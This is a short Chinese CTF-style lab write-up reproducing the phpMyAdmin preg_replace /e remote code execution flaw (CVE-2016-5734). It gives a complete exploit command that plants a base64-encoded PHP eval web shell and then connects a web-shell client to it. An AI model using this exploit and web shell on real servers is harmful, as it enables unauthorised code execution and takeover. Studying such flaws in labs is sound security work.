phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。
在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。
以下版本受到影响:
4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
访问网站,默认账号root密码root:
在kali中有自带的exp:
searchsploit phpmyadmin
cd /usr/share/exploitdb/exploits/php/webapps/ python3 40185.py -u root --pwd="root" http://node3.buuoj.cn:25339/ -c "file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4='));"
这样就把shell.php和其包含的一句话木马写入进去了,访问shell.php发现为空白,说明存在并且被解析。
上菜刀链接:
最后说明一哈不能以下载文件或者cat命令的方式得到flag,但是可以在终端用strings命令。
不过real环境是复现漏洞的,得不得flag不重要: